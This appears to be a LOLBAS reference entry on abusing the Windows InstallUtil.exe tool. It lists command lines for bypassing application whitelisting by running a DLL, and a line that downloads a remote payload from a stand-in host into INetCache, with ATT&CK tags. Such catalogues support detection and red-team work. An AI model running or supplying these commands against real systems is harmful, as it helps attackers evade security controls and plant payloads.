.. /Installutil.exe
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AWL bypass (DLL, Custom Format)
Execute (DLL, Custom Format)
Download (INetCache)

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies


Paths:

Resources:
Acknowledgements:

Detection:

AWL bypass

  1. Execute the target .NET DLL or EXE.

    InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
    Use case
    Use to execute code and bypass application whitelisting
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.004
    Tags
    Execute: DLL
    This LOLBAS executes Dynamic-Link Libraries (DLLs).
    Input: Custom Format
    This LOLBAS expects the input file to follow a set structure; check the description and linked resources for more details.

Execute

  1. Execute the target .NET DLL or EXE.

    InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
    Use case
    Use to execute code and bypass application whitelisting
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.004
    Tags
    Execute: DLL
    This LOLBAS executes Dynamic-Link Libraries (DLLs).
    Input: Custom Format
    This LOLBAS expects the input file to follow a set structure; check the description and linked resources for more details.

Download

  1. It will download a remote payload and place it in INetCache.

    InstallUtil.exe https://example.com/payload
    Use case
    Downloads payload from remote server
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105
    Tags
    Download: INetCache
    INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
    If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
    cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"